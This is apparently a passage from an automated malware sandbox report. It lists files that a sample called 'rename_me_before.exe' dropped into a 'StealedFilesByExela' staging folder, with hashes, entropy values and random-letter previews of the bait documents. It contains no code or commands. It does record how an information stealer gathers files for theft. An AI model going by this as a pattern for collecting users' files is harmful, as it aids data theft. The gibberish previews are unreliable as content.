YHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\UMMBDNEQBN\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\UMMBDNEQBN\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\UMMBDNEQBN\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\UMMBDNEQBN\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\UMMBDNEQBN\UOOJJOZIRH.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694311754777018
Encrypted:	false
SSDEEP:	24:A8RGU2wNw6pbc5fP6UBtRzjn+4sNp3GYuf5/4dImDNR4+R00JOGJP89a:Aw4w9h+fiUBtJj+44pc3mDL4+R0MVJ/
MD5:	61908250A5348CC047FF15260F730C2B
SHA1:	CBCF34156EAE25B328A926E21008598EE8D1CBDE
SHA-256:	8700BF8369D39FD5DF142F9482CE8860BD8A26A3304EFBC57CBF9E45782C7A3A
SHA-512:	BCAB9A36BF1111B05BC52D8921CAC19ABC0FA18D93EA4EB9866DF4B31624FFCA2FF55A09C5051DC2AECAB18828BA8FDA5F31FA0F1E1B7CDC51DF39041E2A82F3
Malicious:	false
Preview:	UOOJJOZIRHPVBWNJCWUSWUNTMYTRIXAVHMVNTYLIPCAYUDIDHLMFMKJROINQAVRXUZLNINNJJSHFEFPSZPLVVWBUDRECRECFHEVVEZDHIFPUKQTLDLWAAKNHNLRQDSPWEEVMZICDCINAORJHMIUUNNJHMWJLZHCNXQIZIPHJPLEDKWATEVYJSWRRMCEJGQXHFBOGXKHJFORHFMGMLTTZJKPJBYMKZVWGZAIGHCFNXGRNDDLJZMCZBXDTQVGPSMNLFNFDHXXCXDJJUNSVHDRBZEZFIUQIYSJVDHEFPPPROTSFKVYAURVOKTIKGYYSWJMCPHHISKCOIVXEIQWZICSWMZJVHXNBACFJZRIEQPOISHMZILEXPCMYBSQRASRNWPSMMYPWJFEXHUUJQAMZDZSIKVETWBZUQBTDCCOYIIJFYYHXPZIUCZRQQFYTKLLGWQPTPZJIZHUEFVCDUNPMVORWJRIAYGRRAHBFWKSAMTDEVSHQXJBHBMOINFGNSRFJDWPSMFABPWRZHIOIPNMLHKGNVWQJYVTWLEZDGMBOJLNHPJKWMHWBVAEGELRTQORSRZQBNXOXEHQJHOEQVNZZJSGWQGINLWNPWFSJNPGRBFOBAEJAOEEMVKZTQZEVVODQLWGPNPNOPXEXLEESZERAPVAPHAUNNCEHTNMFJYBTYGSNGBIEDWGUTNCJDESWGYITWPGBEFVMZYUYPQOQBFITFPUQTWZNQFLWVTMUIAOXBCINJDYCHTXVFQFJQSMNUTYABAAOGGEUKHMDYKLCSGIBIFQSYOIRBUYVSCPDGMVNAQBKZPEKHNRNDPIHOUUTPJDKDOACRPOMZOQCOIAOBNPJLJIYDLQLQUMPIRAMVWNBCMMWFDLTUGWRDVGNHOOODYTHAGWDMJKRVJZFYCVLFLQUWEILFSEPBEADHBHFVWZGUZKNXQCRSBRLGIVTWCSHGFTTTPQAKFWFDXDYXWAWDKWXXTMSJSVOBRAYZGGBDPJOGLIZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\UMMBDNEQBN\WKXEWIOTXI.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697336881644685
Encrypted:	false
SSDEEP:	24:DVE9Jf1tiezZxapTBz4fmlhQHdwc6WS/ZCGxruwyJM:Deu8xafWWKHj6Zx
MD5:	08AF516B9E451DB9845289801A21F1BC
SHA1:	D43E58D334ACFAE831AD929003D89DC6D3B499F9
SHA-256:	C459EA8FCABD26C75606F78F91AA8446698D90422EE4869ABE4ABCCB50B45379
SHA-512:	C8C2BB634740DBDDC5928E5FD3960011BB86842B72673FDCE2D65C86AE6D5945F0C88E81AE96DEA711CC654FAC8B4EC809DF18F57BFB4129503DE37E426CF055
Malicious:	false
Preview:	WKXEWIOTXIKPVKMTOJVZKCCJOJQJVVBUCRVSCWBTZFRFCLMJEFYWDAADXDSWAVKQUKEQVBGBEVVYQQKRCSDIQBFHQPNUHXEGBVBQAZXUXMBFNLNCNTBFAMVYZJITBIGADWSFAFETGWVSLSMWHTRSSUNGFAPUBMTUYBFNDIWUKESLBWQSCOTLFFHGDQBTCYHJBCBOARQTWMUDRIUXIXOCLDIEADCRMXGAMQGVIRNLAGTALJHBZWRNXXRRBLYDOAYCBGEJCTGYVJXPIAIVUAKQQBRSXZKMFBMWWCHMTGNMNRBVSOTUFWOEJRLHHVPMJECGASFUTKIEPJVDDGJBEAOSKQSOAKQFVDMPVFZXVQQGBIVNAKYSEGLMWLAYDYTALUJSLPWCLEJKQBXBYHAKPFMJEIYHGDOFGQSDOCEQICJNJHPIMYZXEEBLQDGZQJHXKMNXDWJCMMFBONBYYWLDOKPYOROQOAOXKLNFZNGOBDFJUKRZTHKLRBINVCYAUIXORJECNOHLVMBHPPCTEWZMHAKKOWVWNWGYCHRMUWRNDXFYYWTIGTCJKQDPGUNHAJQDLUZMXHCGTFUQBMGYHZZQTDVDXANXWNWKFTJJGQDHQOXVXPQVSIEKEEJXYUACENKWKIJBJQXHMLMPZXYAVPNORKZSDXAKFPVLVKXAALPKPLPVFPCSRBEEJDNJCIJXXOCNXCBVGHIYCQQVQHTTNURHGTJJXKJRPJEGOUFOHMMCJGVNMXOAXZBVGWVBLQZNFUTGTNMFHQOEJPQLIMHIWPQHWMJJDCVVMWJEEFQQZJEEECMHCCUANTBJYRWUCSJSOHYMSBWTKOKBZPVNMIVCLDDALCEUFSLAOCOCSAXADDYPCSIANHKQFGMSMYTDVKAOIYTWPDDCRKDNZYGXHYDSDFXTLUDKREZTPVBCYOHCUNIFNCKBSSGTENGDYROMJUTSSFWEEFXLJPBMSINKXZCEUWQMDWGNHDWNFHYTECVIYIAPNGWL

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\VLZDGUKUTZ\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\VLZDGUKUTZ\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\VLZDGUKUTZ\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\VLZDGUKUTZ\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\VLZDGUKUTZ\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
